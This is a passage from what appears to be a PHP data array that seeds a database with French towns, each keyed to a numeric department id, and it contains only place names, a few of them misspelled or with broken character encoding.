'saint-louis'],\n ['state_id' => '1230', 'name' => 'wittelsheim'],\n ['state_id' => '1230', 'name' => 'wittenheim'],\n ['state_id' => '1231', 'name' => 'bastia'],\n ['state_id' => '1232', 'name' => 'balma'],\n ['state_id' => '1232', 'name' => 'blagnac'],\n ['state_id' => '1232', 'name' => 'colomiers'],\n ['state_id' => '1232', 'name' => 'cugnaux'],\n ['state_id' => '1232', 'name' => 'l\\'union'],\n ['state_id' => '1232', 'name' => 'muret'],\n ['state_id' => '1232', 'name' => 'plaisance-du-touch'],\n ['state_id' => '1232', 'name' => 'ramonville-saint-agne'],\n ['state_id' => '1232', 'name' => 'saint-gaudens'],\n ['state_id' => '1232', 'name' => 'saint-orens-de-gameville'],\n ['state_id' => '1232', 'name' => 'toulouse'],\n ['state_id' => '1232', 'name' => 'tournefeuille'],\n ['state_id' => '1233', 'name' => 'blanzac'],\n ['state_id' => '1233', 'name' => 'le puy-en-velay'],\n ['state_id' => '1234', 'name' => 'chaumont'],\n ['state_id' => '1234', 'name' => 'langres'],\n ['state_id' => '1234', 'name' => 'saint-dizier'],\n ['state_id' => '1235', 'name' => 'hericourt'],\n ['state_id' => '1235', 'name' => 'lure'],\n ['state_id' => '1235', 'name' => 'luxeuil-les-bains'],\n ['state_id' => '1235', 'name' => 'vesoul'],\n ['state_id' => '1236', 'name' => 'annecy'],\n ['state_id' => '1236', 'name' => 'annecy-le-vieux'],\n ['state_id' => '1236', 'name' => 'annemasse'],\n ['state_id' => '1236', 'name' => 'archamps'],\n ['state_id' => '1236', 'name' => 'bonneville'],\n ['state_id' => '1236', 'name' => 'chamonix-mont-blanc'],\n ['state_id' => '1236', 'name' => 'cluses'],\n ['state_id' => '1236', 'name' => 'contamine sur arve'],\n ['state_id' => '1236', 'name' => 'cran-gevrier'],\n ['state_id' => '1236', 'name' => 'passy'],\n ['state_id' => '1236', 'name' => 'rumilly'],\n ['state_id' => '1236', 'name' => 'sallanches'],\n ['state_id' => '1236', 'name' => 'seynod'],\n ['state_id' => '1236', 'name' => 'thonon-les-bains'],\n ['state_id' => '1237', 'name' => 'gaillard'],\n ['state_id' => '1237', 'name' => 'limoges'],\n ['state_id' => '1237', 'name' => 'saint-junien'],\n ['state_id' => '1238', 'name' => 'briancon'],\n ['state_id' => '1238', 'name' => 'gap'],\n ['state_id' => '1239', 'name' => 'lourdes'],\n ['state_id' => '1239', 'name' => 'tarbes'],\n ['state_id' => '1240', 'name' => 'antony'],\n ['state_id' => '1240', 'name' => 'asnieres-sur-seine'],\n ['state_id' => '1240', 'name' => 'bagneux'],\n ['state_id' => '1240', 'name' => 'bois-colombes'],\n ['state_id' => '1240', 'name' => 'boulogne-billancourt'],\n ['state_id' => '1240', 'name' => 'bourg-la-reine'],\n ['state_id' => '1240', 'name' => 'chatenay-malabry'],\n ['state_id' => '1240', 'name' => 'chatillon'],\n ['state_id' => '1240', 'name' => 'chaville'],\n ['state_id' => '1240', 'name' => 'clamart'],\n ['state_id' => '1240', 'name' => 'clichy'],\n ['state_id' => '1240', 'name' => 'colombes'],\n ['state_id' => '1240', 'name' => 'courbevoie'],\n ['state_id' => '1240', 'name' => 'fontenay-aux-roses'],\n ['state_id' => '1240', 'name' => 'garches'],\n ['state_id' => '1240', 'name' => 'gennevillers'],\n ['state_id' => '1240', 'name' => 'issy-les-moulineaux'],\n ['state_id' => '1240', 'name' => 'la garenne-colombes'],\n ['state_id' => '1240', 'name' => 'le plessis-robinson'],\n ['state_id' => '1240', 'name' => 'levallois-perret'],\n ['state_id' => '1240', 'name' => 'malakoff'],\n ['state_id' => '1240', 'name' => 'meudon'],\n ['state_id' => '1240', 'name' => 'montrouge'],\n ['state_id' => '1240', 'name' => 'nanterre'],\n ['state_id' => '1240', 'name' => 'neuilly-sur-seine'],\n ['state_id' => '1240', 'name' => 'puteaux'],\n ['state_id' => '1240', 'name' => 'rueil-malmaison'],\n ['state_id' => '1240', 'name' => 'saint-cloud'],\n ['state_id' => '1240', 'name' => 'sceaux'],\n ['state_id' => '1240', 'name' => 'sevres'],\n ['state_id' => '1240', 'name' => 'suresnes'],\n ['state_id' => '1240', 'name' => 'vanves'],\n ['state_id' => '1240', 'name' => 'ville-d\\'avray'],\n ['state_id' => '1240', 'name' => 'villeneuve-la-garenne'],\n ['state_id' => '1241', 'name' => 'agde'],\n ['state_id' => '1241', 'name' => 'beziers'],\n ['state_id' => '1241', 'name' => 'castelnau-le-lez'],\n ['state_id' => '1241', 'name' => 'frontignan'],\n ['state_id' => '1241', 'name' => 'lattes'],\n ['state_id' => '1241', 'name' => 'lunel'],\n ['state_id' => '1241', 'name' => 'mauguio'],\n ['state_id' => '1241', 'name' => 'montpellier'],\n ['state_id' => '1241', 'name' => 'sete'],\n ['state_id' => '1242', 'name' => 'champagne-sur-oise'],\n ['state_id' => '1242', 'name' => 'croissy-beaubourg'],\n ['state_id' => '1242', 'name' => 'gennevilliers'],\n ['state_id' => '1242', 'name' => 'le mesnil-le-roi'],\n ['state_id' => '1242', 'name' => 'le plessis-bouchard'],\n ['state_id' => '1242', 'name' => 'rebais'],\n ['state_id' => '1242', 'name' => 'saint-thibault-des-vignes'],\n ['state_id' => '1243', 'name' => 'cesson-sevigne'],\n ['state_id' => '1243', 'name' => 'dinard'],\n ['state_id' => '1243', 'name' => 'fougeres'],\n ['state_id' => '1243', 'name' => 'rennes'],\n ['state_id' => '1243', 'name' => 'saint-malo'],\n ['state_id' => '1243', 'name' => 'vitre'],\n ['state_id' => '1244', 'name' => 'chateauroux'],\n ['state_id' => '1244', 'name' => 'issoudun'],\n ['state_id' => '1245', 'name' => 'amboise'],\n ['state_id' => '1245', 'name' => 'joue-les-tours'],\n ['state_id' => '1245', 'name' => 'saint-avertin'],\n ['state_id' => '1245', 'name' => 'saint-cyr-sur-loire'],\n ['state_id' => '1245', 'name' => 'saint-pierre-des-corps'],\n ['state_id' => '1245', 'name' => 'tours'],\n ['state_id' => '1246', 'name' => 'bourgoin-jallieu'],\n ['state_id' => '1246', 'name' => 'crolles'],\n ['state_id' => '1246', 'name' => 'echirolles'],\n ['state_id' => '1246', 'name' => 'fontaine'],\n ['state_id' => '1246', 'name' => 'grenoble'],\n ['state_id' => '1246', 'name' => 'le pont-de-claix'],\n ['state_id' => '1246', 'name' => 'meylan'],\n ['state_id' => '1246', 'name' => 'saint-egreve'],\n ['state_id' => '1246', 'name' => 'saint-martin-d\\'heres'],\n ['state_id' => '1246', 'name' => 'seyssinet-pariset'],\n ['state_id' => '1246', 'name' => 'vienne'],\n ['state_id' => '1246', 'name' => 'villefontaine'],\n ['state_id' => '1246', 'name' => 'voiron'],\n ['state_id' => '1247', 'name' => 'champagnole'],\n ['state_id' => '1247', 'name' => 'dole'],\n ['state_id' => '1247', 'name' => 'lons-le-saunier'],\n ['state_id' => '1247', 'name' => 'saint-claude'],\n ['state_id' => '1248', 'name' => 'sebastiangasse'],\n ['state_id' => '1249', 'name' => 'biscarrosse'],\n ['state_id' => '1249', 'name' => 'dax'],\n ['state_id' => '1249', 'name' => 'hagetmau'],\n ['state_id' => '1249', 'name' => 'landes'],\n ['state_id' => '1249', 'name' => 'mont-de-marsan'],\n ['state_id' => '1249', 'name' => 'saint-paul-les-dax'],\n ['state_id' => '1249', 'name' => 'tarnos'],\n ['state_id' => '1250', 'name' => 'codolet'],\n ['state_id' => '1250', 'name' => 'cuxac-d\\'aude'],\n ['state_id' => '1250', 'name' => 'gigean'],\n ['state_id' => '1250', 'name' => 'grabels'],\n ['state_id' => '1250', 'name' => 'lamalou-les-bains'],\n ['state_id' => '1250', 'name' => 'perols'],\n ['state_id' => '1250', 'name' => 'peyrens'],\n ['state_id' => '1250', 'name' => 'tuchan'],\n ['state_id' => '1251', 'name' => 'larcay'],\n ['state_id' => '1254', 'name' => 'voutezac'],\n ['state_id' => '1255', 'name' => 'blois'],\n ['state_id' => '1255', 'name' => 'romorantin-lanthenay'],\n ['state_id' => '1255', 'name' => 'vendome'],\n ['state_id' => '1256', 'name' => 'andrezieux-boutheon'],\n ['state_id' => '1256', 'name' => 'firminy'],\n ['state_id' => '1256', 'name' => 'la ricamarie'],\n ['state_id' => '1256', 'name' => 'le chambon-feugerolles'],\n ['state_id' => '1256', 'name' => 'montbrison'],\n ['state_id' => '1256', 'name' => 'riorges'],\n ['state_id' => '1256', 'name' => 'rive-de-gier'],\n ['state_id' => '1256', 'name' => 'roanne'],\n ['state_id' => '1256', 'name' => 'roche-la-moliere'],\n ['state_id' => '1256', 'name' => 'saint-chamond'],\n ['state_id' => '1256', 'name' => 'saint-etienne'],\n ['state_id' => '1256', 'name' => 'saint-just-saint-rambert'],\n ['state_id' => '1257', 'name' => 'bouguenais'],\n ['state_id' => '1257', 'name' => 'carquefou'],\n ['state_id' => '1257', 'name' => 'chateaubriant'],\n ['state_id' => '1257', 'name' => 'coueron'],\n ['state_id' => '1257', 'name' => 'guerande'],\n ['state_id' => '1257', 'name' => 'la baule-escoublac'],\n ['state_id' => '1257', 'name' => 'la chapelle-sur-erdre'],\n ['state_id' => '1257', 'name' => 'nantes'],\n ['state_id' => '1257', 'name' => 'orvault'],\n ['state_id' => '1257', 'name' => 'reze'],\n ['state_id' => '1257', 'name' => 'saint etienne de mer morte'],\n ['state_id' => '1257', 'name' => 'saint-herblain'],\n ['state_id' => '1257', 'name' => 'saint-nazaire'],\n ['state_id' => '1257', 'name' => 'saint-sebastien-sur-loire'],\n ['state_id' => '1257', 'name' => 'sainte-luce-sur-loire'],\n ['state_id' => '1257', 'name' => 'vertou'],\n ['state_id' => '1258', 'name' => 'amilly'],\n ['state_id' => '1258', 'name' => 'chalette-sur-loing'],\n ['state_id' => '1258', 'name' => 'fleury-les-aubrais'],\n ['state_id' => '1258', 'name' => 'gien'],\n ['state_id' => '1258', 'name' => 'montargis'],\n ['state_id' => '1258', 'name' => 'olivet'],\n ['state_id' => '1258', 'name' => 'orleans'],\n ['state_id' => '1258', 'name' => 'pithiviers'],\n ['state_id' => '1258', 'name' => 'saint-jean-de-braye'],\n ['state_id' => '1258', 'name' => 'saint-jean-de-la-ruelle'],\n ['state_id' => '1258', 'name' => 'saran'],\n ['state_id' => '1259', 'name' => 'montbronn'],\n ['state_id' => '1260', 'name' => 'cahors'],\n ['state_id' => '1260', 'name' => 'figeac'],\n ['state_id' => '1261', 'name' => 'agen'],\n ['state_id' => '1261', 'name' => 'le passage'],\n ['state_id' => '1261', 'name' => 'marmande'],\n ['state_id' => '1261', 'name' => 'tonneins'],\n ['state_id' => '1261', 'name' => 'villeneuve-sur-lot'],\n ['state_id' => '1263', 'name' => 'mende'],\n ['state_id' => '1264', 'name' => 'angers'],\n ['state_id' => '1264', 'name' => 'avrille'],\n ['state_id' => '1264', 'name' => 'cholet'],\n ['state_id' => '1264', 'name' => 'les ponts-de-ce'],\n ['state_id' => '1264', 'name' => 'saint-barthelemy-d\\'anjou'],\n ['state_id' => '1264', 'name' => 'saumur'],\n ['state_id' => '1264', 'name' => 'torfou'],\n ['state_id' => '1264', 'name' => 'trelaze'],\n ['state_id' => '1265', 'name' => 'cherbourg'],\n ['state_id' => '1265', 'name' => 'coutances'],\n ['state_id' => '1265', 'name' => 'equeurdreville-hainneville'],\n ['state_id' => '1265', 'name' => 'granville'],\n ['state_id' => '1265', 'name' => 'octeville'],\n ['state_id' => '1265', 'name' => 'saint-lo'],\n ['state_id' => '1265', 'name' => 'tourlaville'],\n ['state_id' => '1266', 'name' => 'chalons-en-champagne'],\n ['state_id' => '1266', 'name' => 'epernay'],\n ['state_id' => '1266', 'name' => 'reims'],\n ['state_id' => '1266', 'name' => 'tinqueux'],\n ['state_id' => '1266', 'name' => 'vitry-le-francois'],\n ['state_id' => '1267', 'name' => 'chateau-gontier'],\n ['state_id' => '1267', 'name' => 'laval'],\n ['state_id' => '1267', 'name' => 'mayenne'],\n ['state_id' => '1267', 'name' => 'montsurs'],\n ['state_id' => '1268', 'name' => 'dombasle-sur-meurthe'],\n ['state_id' => '1268', 'name' => 'jarville-la-malgrange'],\n ['state_id' => '1268', 'name' => 'laxou'],\n ['state_id' => '1268', 'name' => 'longwy'],\n ['state_id' => '1268', 'name' => 'luneville'],\n ['state_id' => '1268', 'name' => 'nancy'],\n ['state_id' => '1268', 'name' => 'pont-a-mousson'],\n ['state_id' => '1268', 'name' => 'saint-max'],\n ['state_id' => '1268', 'name' => 'toul'],\n ['state_id' => '1268', 'name' => 'vandoeuvre-les-nancy'],\n ['state_id' => '1268', 'name' => 'villers-les-nancy'],\n ['state_id' => '1268', 'name' => 'villerupt'],\n ['state_id' => '1269', 'name' => 'bar-le-duc'],\n ['state_id' => '1269', 'name' => 'verdun'],\n ['state_id' => '1270', 'name' => 'boissezon'],\n ['state_id' => '1270', 'name' => 'hauterive'],\n ['state_id' => '1270', 'name' => 'launaguet'],\n ['state_id' => '1270', 'name' => 'mauleon'],\n ['state_id' => '1270', 'name' => 'maurens-scopont'],\n ['state_id' => '1271', 'name' => 'auray'],\n ['state_id' => '1271', 'name' => 'guidel'],\n ['state_id' => '1271', 'name' => 'hennebont'],\n ['state_id' => '1271', 'name' => 'lanester'],\n ['state_id' => '1271', 'name' => 'lorient'],\n ['state_id' => '1271', 'name' => 'ploemeur'],\n ['state_id' => '1271', 'name' => 'pontivy'],\n ['state_id' => '1271', 'name' => 'vannes'],\n ['state_id' => '1272', 'name' => 'amneville'],\n ['state_id' => '1272', 'name' => 'behren-les-forbach'],\n ['state_id' => '1272', 'name' => 'creutzwald'],\n ['state_id' => '1272', 'name' => 'fameck'],\n ['state_id' => '1272', 'name' => 'florange'],\n ['state_id' => '1272', 'name' => 'forbach'],\n ['state_id' => '1272', 'name' => 'freyming-merlebach'],\n ['state_id' => '1272', 'name' => 'hagondange'],\n ['state_id' => '1272', 'name' => 'hayange'],\n ['state_id' => '1272', 'name' => 'hombourg-haut'],\n ['state_id' => '1272', 'name' => 'maizieres-les-metz'],\n ['state_id' => '1272', 'name' => 'marly'],\n ['state_id' => '1272', 'name' => 'metz'],\n ['state_id' => '1272', 'name' => 'montigny-les-metz'],\n ['state_id' => '1272', 'name' => 'moyeuvre-grande'],\n ['state_id' => '1272', 'name' => 'rombas'],\n ['state_id' => '1272', 'name' => 'saint-avold'],\n ['state_id' => '1272', 'name' => 'sarrebourg'],\n ['state_id' => '1272', 'name' => 'sarreguemines'],\n ['state_id' => '1272', 'name' => 'stiring-wendel'],\n ['state_id' => '1272', 'name' => 'thionville'],\n ['state_id' => '1272', 'name' => 'uckange'],\n ['state_id' => '1272', 'name' => 'woippy'],\n ['state_id' => '1272', 'name' => 'yutz'],\n ['state_id' => '1273', 'name' => 'cosne-cours-sur-loire'],\n ['state_id' => '1273', 'name' => 'nevers'],\n ['state_id' => '1273', 'name' => 'varennes-vauzelles'],\n ['state_id' => '1274', 'name' => 'aniche'],\n ['state_id' => '1274', 'name' => 'annoeullin'],\n ['state_id' => '1274', 'name' => 'anzin'],\n ['state_id' => '1274', 'name' => 'armentieres'],\n ['state_id' => '1274', 'name' => 'aulnoye-aymeries'],\n ['state_id' => '1274', 'name' => 'bailleul'],\n ['state_id' => '1274', 'name' => 'bondues'],\n ['state_id' => '1274', 'name' => 'bruay-sur-l\\'escaut'],\n ['state_id' => '1274', 'name' => 'cambrai'],\n ['state_id' => '1274', 'name' => 'cappelle-la-grande'],\n ['state_id' => '1274', 'name' => 'caudry'],\n ['state_id' => '1274', 'name' => 'comines'],\n ['state_id' => '1274', 'name' => 'conde-sur-l\\'escaut'],\n ['state_id' => '1274', 'name' => 'coudekerque-branche'],\n ['state_id' => '1274', 'name' => 'croix'],\n ['state_id' => '1274', 'name' => 'denain'],\n ['state_id' => '1274', 'name' => 'douai'],\n ['state_id' => '1274', 'name' => 'douchy-les-mines'],\n ['state_id' => '1274', 'name' => 'dunkerque'],\n ['state_id' => '1274', 'name' => 'escaudain'],\n ['state_id' => '1274', 'name' => 'fache-thumesnil'],\n ['state_id' => '1274', 'name' => 'fourmies'],\n ['state_id' => '1274', 'name' => 'grande-synthe'],\n ['state_id' => '1274', 'name' => 'graveline'],\n ['state_id' => '1274', 'name' => 'halluin'],\n ['state_id' => '1274', 'name' => 'haubourdin'],\n ['state_id' => '1274', 'name' => 'hautmont'],\n ['state_id' => '1274', 'name' => 'hazebrouck'],\n ['state_id' => '1274', 'name' => 'hem'],\n ['state_id' => '1274', 'name' => 'hulluch'],\n ['state_id' => '1274', 'name' => 'jeumont'],\n ['state_id' => '1274', 'name' => 'la madeleine'],\n ['state_id' => '1274', 'name' => 'lambersart'],\n ['state_id' => '1274', 'name' => 'leers'],\n ['state_id' => '1274', 'name' => 'lille'],\n ['state_id' => '1274', 'name' => 'lomme'],\n ['state_id' => '1274', 'name' => 'loos'],\n ['state_id' => '1274', 'name' => 'lys-lez-lannoy'],\n ['state_id' => '1274', 'name' => 'marcq-en-baroeul'],\n ['state_id' => '1274', 'name' => 'marennes'],\n ['state_id' => '1274', 'name' => 'marly'],\n ['state_id' => '1274', 'name' => 'marquette-lez-lille'],\n ['state_id' => '1274', 'name' => 'maubeuge'],\n ['state_id' => '1274', 'name' => 'merville'],\n ['state_id' => '1274', 'name' => 'mons-en-baroeul'],\n ['state_id' => '1274', 'name' => 'mouvaux'],\n ['state_id' => '1274', 'name' => 'neuville-en-ferrain'],\n ['state_id' => '1274', 'name' => 'onnaing'],\n ['state_id' => '1274', 'name' => 'raismes'],\n ['state_id' => '1274', 'name' => 'ronchin'],\n ['state_id' => '1274', 'name' => 'roncq'],\n ['state_id' => '1274', 'name' => 'roubaix'],\n ['state_id' => '1274', 'name' => 'saint-amand-les-eaux'],\n ['state_id' => '1274', 'name' => 'saint-andre-lez-lille'],\n ['state_id' => '1274', 'name' => 'saint-pol-sur-mer'],\n ['state_id' => '1274', 'name' => 'saint-saulve'],\n ['state_id' => '1274', 'name' => 'seclin'],\n ['state_id' => '1274', 'name' => 'sin-le-noble'],\n ['state_id' => '1274', 'name' => 'somain'],\n ['state_id' => '1274', 'name' => 'tourcoing'],\n ['state_id' => '1274', 'name' => 'valenciennes'],\n ['state_id' => '1274', 'name' => 'vieux-conde'],\n ['state_id' => '1274', 'name' => 'villeneuve-d\\'ascq'],\n ['state_id' => '1274', 'name' => 'wasquehal'],\n ['state_id' => '1274', 'name' => 'wattignies'],\n ['state_id' => '1274', 'name' => 'wattrelos'],\n ['state_id' => '1274', 'name' => 'waziers'],\n ['state_id' => '1275', 'name' => 'esquelbecq'],\n ['state_id' => '1276', 'name' => 'beauvais'],\n ['state_id' => '1276', 'name' => 'chantilly'],\n ['state_id' => '1276', 'name' => 'clermont'],\n ['state_id' => '1276', 'name' => 'compiegne'],\n ['state_id' => '1276', 'name' => 'creil'],\n ['state_id' => '1276', 'name' => 'crepy-en-valois'],\n ['state_id' => '1276', 'name' => 'gouvieux'],\n ['state_id' => '1276', 'name' => 'meru'],\n ['state_id' => '1276', 'name' => 'montataire'],\n ['state_id' => '1276', 'name' => 'nogent-sur-oise'],\n ['state_id' => '1276', 'name' => 'noyon'],\n ['state_id' => '1276', 'name' => 'pont-sainte-maxence'],\n ['state_id' => '1276', 'name' => 'senlis'],\n ['state_id' => '1277', 'name' => 'alencon'],\n ['state_id' => '1277', 'name' => 'argentan'],\n ['state_id' => '1277', 'name' => 'flers'],\n ['state_id' => '1277', 'name' => 'l\\'aigle'],\n ['state_id' => '1278', 'name' => 'paris'],\n ['state_id' => '1279', 'name' => 'aire-sur-la-lys'],\n ['state_id' => '1279', 'name' => 'arras'],\n ['state_id' => '1279', 'name' => 'auchel'],\n ['state_id' => '1279', 'name' => 'avion'],\n ['state_id' => '1279', 'name' => 'berck'],\n ['state_id' => '1279', 'name' => 'bethune'],\n ['state_id' => '1279', 'name' => 'boulogne-sur-mer'],\n ['state_id' => '1279', 'name' => 'bruay-la-brussiere'],\n ['state_id' => '1279', 'name' => 'bully-les-mines'],\n ['state_id' => '1279', 'name' => 'calais'],\n ['state_id' => '1279', 'name' => 'carvin'],\n ['state_id' => '1279', 'name' => 'courrieres'],\n ['state_id' => '1279', 'name' => 'etaples'],\n ['state_id' => '1279', 'name' => 'harnes'],\n ['state_id' => '1279', 'name' => 'henin-beaumont'],\n ['state_id' => '1279', 'name' => 'le portel'],\n ['state_id' => '1279', 'name' => 'lens'],\n ['state_id' => '1279', 'name' => 'libercourt'],\n ['state_id' => '1279', 'name' => 'lievin'],\n ['state_id' => '1279', 'name' => 'lillers'],\n ['state_id' => '1279', 'name' => 'longuenesse'],\n ['state_id' => '1279', 'name' => 'marck'],\n ['state_id' => '1279', 'name' => 'mericourt'],\n ['state_id' => '1279', 'name' => 'montigny-en-gohelle'],\n ['state_id' => '1279', 'name' => 'noeux-les-mines'],\n ['state_id' => '1279', 'name' => 'oignies'],\n ['state_id' => '1279', 'name' => 'outreau'],\n ['state_id' => '1279', 'name' => 'rouvroy'],\n ['state_id' => '1279', 'name' => 'saint-martin-boulogne'],\n ['state_id' => '1279', 'name' => 'saint-omer'],\n ['state_id' => '1279', 'name' => 'sallaumines'],\n ['state_id' => '1279', 'name' => 'vendin-le-vieil'],\n ['state_id' => '1281', 'name' => 'loiron'],\n ['state_id' => '1281', 'name' => 'marolles-les-braults'],\n ['state_id' => '1281', 'name' => 'mortagne-sur-sevre'],\n ['state_id' => '1281', 'name' => 'mouzillon'],\n ['state_id' => '1281', 'name' => 'noirmoutier-en-l\\'ãƒâŽle'],\n ['state_id' => '1282', 'name' => 'friville'],\n ['state_id' => '1282', 'name' => 'liancourt'],\n ['state_id' => '1282', 'name' => 'maizy'],\n ['state_id' => '1282', 'name' => 'oust-marest'],\n ['state_id' => '1282', 'name' => 'puiseux-le-hauberger'],\n ['state_id' => '1282', 'name' => 'saint-crepin-ibouvillers'],\n ['state_id' => '1283', 'name' => 'aubiere'],\n ['state_id' => '1283', 'name' => 'beaumont'],\n ['state_id' => '1283', 'name' => 'chamalieres'],\n ['state_id' => '1283', 'name' => 'clermont-ferrand'],\n ['state_id' => '1283', 'name' => 'cournon-d\\'auvergne'],\n ['state_id' => '1283', 'name' => 'gerzat'],\n ['state_id' => '1283', 'name' => 'issoire'],\n ['state_id' => '1283', 'name' => 'riom'],\n ['state_id' => '1283', 'name' => 'thiers'],\n ['state_id' => '1284', 'name' => 'anglet'],\n ['state_id' => '1284', 'name' => 'bayonne'],\n ['state_id' => '1284', 'name' => 'biarritz'],\n ['state_id' => '1284', 'name' => 'billere'],\n ['state_id' => '1284', 'name' => 'hendaye'],\n ['state_id' => '1284', 'name' => 'lons'],\n ['state_id' => '1284', 'name' => 'oloron-sainte-marie'],\n ['state_id' => '1284', 'name' => 'orthez'],\n ['state_id' => '1284', 'name' => 'pau'],\n ['state_id' => '1284', 'name' => 'saint-jean-de-luz'],\n ['state_id' => '1285', 'name' => 'perpignan'],\n ['state_id' => '1285', 'name' => 'saint-esteve'],\n ['state_id' => '1286', 'name' => 'quelmes'],\n ['state_id' => '1287', 'name' => 'brignais'],\n ['state_id' => '1287', 'name' => 'bron'],\n ['state_id' => '1287', 'name' => 'caluire-et-cuire'],\n ['state_id' => '1287', 'name' => 'decines-charpieu'],\n ['state_id' => '1287', 'name' => 'ecully'],\n ['state_id' => '1287', 'name' => 'francheville'],\n ['state_id' => '1287', 'name' => 'genas'],\n ['state_id' => '1287', 'name' => 'genay'],\n ['state_id' => '1287', 'name' => 'givors'],\n ['state_id' => '1287', 'name' => 'lyon'],\n ['state_id' => '1287', 'name' => 'meyzieu'],\n ['state_id' => '1287', 'name' => 'mions'],\n ['state_id' => '1287', 'name' => 'oullins'],\n ['state_id' => '1287', 'name' => 'pierre-benite'],\n ['state_id' => '1287', 'name' => 'rillieux-la-pape'],\n ['state_id' => '1287', 'name' => 'saint-fons'],\n ['state_id' => '1287', 'name' => 'saint-genis-laval'],\n ['state_id' => '1287', 'name' => 'saint-priest'],\n ['state_id' => '1287', 'name' => 'sainte-foy-les-lyon'],\n ['state_id' => '1287', 'name' => 'tarare'],\n ['state_id' => '1287', 'name' => 'tassin-la-demi-lune'],\n ['state_id' => '1287', 'name' => 'vaulx-en-velin'],\n ['state_id' => '1287', 'name' => 'venissieux'],\n ['state_id' => '1287', 'name' => 'villefranche-sur-saone'],\n ['state_id' => '1287', 'name' => 'villeurbanne'],\n ['state_id' => '1288', 'name' => 'beauvoir-en-royans'],\n ['state_id' => '1288', 'name' => 'belley'],\n ['state_id' => '1288', 'name' => 'bons-en-chablais'],\n ['state_id' => '1288', 'name' => 'chalain-d\\'uzore'],\n ['state_id' => '1288', 'name' => 'chassieu'],\n ['state_id' => '1288', 'name' => 'chavanod'],\n ['state_id' => '1288', 'name' => 'chazay-d-azergues'],\n ['state_id' => '1288', 'name' => 'chimilin'],\n ['state_id' => '1288', 'name' => 'civrieux-d azergues'],\n ['state_id' => '1288', 'name' => 'corbas'],\n ['state_id' => '1288', 'name' => 'courzieu'],\n ['state_id' => '1288', 'name' => 'dardilly'],\n ['state_id' => '1288', 'name' => 'guereins'],\n ['state_id' => '1288', 'name' => 'izernore'],\n ['state_id' => '1288', 'name' => 'la talaudiere'],\n ['state_id' => '1288', 'name' => 'la tronche'],\n ['state_id' => '1288', 'name' => 'la verpilliere'],\n ['state_id' => '1288', 'name' => 'le cheylard'],\n ['state_id' => '1288', 'name' => 'le cheylas'],\n ['state_id' => '1288', 'name' => 'mery'],\n ['state_id' => '1288', 'name' => 'moirans'],\n ['state_id' => '1288', 'name' => 'montalieu-vercieu'],\n ['state_id' => '1288', 'name' => 'montmiral'],\n ['state_id' => '1288', 'name' => 'peronnas'],\n ['state_id' => '1288', 'name' => 'poncin'],\n ['state_id' => '1288', 'name' => 'quincie-en-beaujolais'],\n ['state_id' => '1288', 'name' => 'saint-quentin-sur-isere'],\n ['state_id' => '1288', 'name' => 'sainte agathe la bouteresse'],\n ['state_id' => '1288', 'name' => 'sainte-consorce'],\n ['state_id' => '1288', 'name' => 'sisteron'],\n ['state_id' => '1288', 'name' => 'trevoux'],\n ['state_id' => '1288', 'name' => 'villard-bonnot'],\n ['state_id' => '1291', 'name' => 'autun'],\n ['state_id' => '1291', 'name' => 'chalon-sur-saone'],\n ['state_id' => '1291', 'name' => 'digoin'],\n ['state_id' => '1291', 'name' => 'gueugnon'],\n ['state_id' => '1291', 'name' => 'le creusot'],\n ['state_id' => '1291', 'name' => 'macon'],\n ['state_id' => '1291', 'name' => 'montceau-les-mines'],\n ['state_id' => '1291', 'name' => 'paray-le-monial'],\n ['state_id' => '1291', 'name' => 'saint-vallier'],\n ['state_id' => '1292', 'name' => 'allonnes'],\n ['state_id' => '1292', 'name' => 'la ferte-bernard'],\n ['state_id' => '1292', 'name' => 'la fleche'],\n ['state_id' => '1292', 'name' => 'le mans'],\n ['state_id' => '1292', 'name' => 'sable-sur-sarthe'],\n ['state_id' => '1293', 'name' => 'aix-les-bains'],\n ['state_id' => '1293', 'name' => 'albertville'],\n ['state_id' => '1293', 'name' => 'chambery'],\n ['state_id' => '1293', 'name' => 'la motte-servolex'],\n ['state_id' => '1293', 'name' => 'saint-jean-de-maurienne'],\n ['state_id' => '1294', 'name' => 'barentin'],\n ['state_id' => '1294', 'name' => 'bihorel'],\n ['state_id' => '1294', 'name' => 'bois-guillaume'],\n ['state_id' => '1294', 'name' => 'bolbec'],\n ['state_id' => '1294', 'name' => 'canteleu'],\n ['state_id' => '1294', 'name' => 'caudebec-les-elbeuf'],\n ['state_id' => '1294', 'name' => 'darnetal'],\n ['state_id' => '1294', 'name' => 'deville-les-rouen'],\n ['state_id' => '1294', 'name' => 'dieppe'],\n ['state_id' => '1294', 'name' => 'elbeuf'],\n ['state_id' => '1294', 'name' => 'fecamp'],\n ['state_id' => '1294', 'name' => 'gonfreville-l\\'orcher'],\n ['state_id' => '1294', 'name' => 'grand-couronne'],\n ['state_id' => '1294', 'name' => 'harfleur'],\n ['state_id' => '1294', 'name' => 'le grand-quevilly'],\n ['state_id' => '1294', 'name' => 'le havre'],\n ['state_id' => '1294', 'name' => 'le petit-quevilly'],\n ['state_id' => '1294', 'name' => 'lillebonne'],\n ['state_id' => '1294', 'name' => 'maromme'],\n ['state_id' => '1294', 'name' => 'mont-saint-aignan'],\n ['state_id' => '1294', 'name' => 'montivilliers'],\n ['state_id' => '1294', 'name' => 'notre-dame-de-gravenchon'],\n ['state_id' => '1294', 'name' => 'oissel'],\n ['state_id' => '1294', 'name' => 'rouen'],\n ['state_id' => '1294', 'name' => 'saint-etienne-du-rouvray'],\n ['state_id' => '1294', 'name' => 'sotteville-les-rouen'],\n ['state_id' => '1294', 'name' => 'yvetot'],\n ['state_id' => '1295', 'name' => 'aubervillers'],\n ['state_id' => '1295', 'name' => 'aulnay-sous-bois'],\n ['state_id' => '1295', 'name' => 'bagnolet'],\n ['state_id' => '1295', 'name' => 'bobigny'],\n ['state_id' => '1295', 'name' => 'bondy'],\n ['state_id' => '1295', 'name' => 'clichy-sous-bois'],\n ['state_id' => '1295', 'name' => 'drancy'],\n ['state_id' => '1295', 'name' => 'epinay-sur-seine'],\n ['state_id' => '1295', 'name' => 'gagny'],\n ['state_id' => '1295', 'name' => 'la courneuve'],\n ['state_id' => '1295', 'name' => 'le blanc-mesnil'],\n ['state_id' => '1295', 'name' => 'le bourget'],\n ['state_id' => '1295', 'name' => 'le pre-saint-gervais'],\n ['state_id' => '1295', 'name' => 'le raincy'],\n ['state_id' => '1295', 'name' => 'les lilas'],\n ['state_id' => '1295', 'name' => 'les pavillons-sous-bois'],\n ['state_id' => '1295', 'name' => 'livry-gargan'],\n ['state_id' => '1295', 'name' => 'montfermeil'],\n ['state_id' => '1295', 'name' => 'montreuil'],\n ['state_id' => '1295', 'name' => 'neuilly-plaisance'],\n 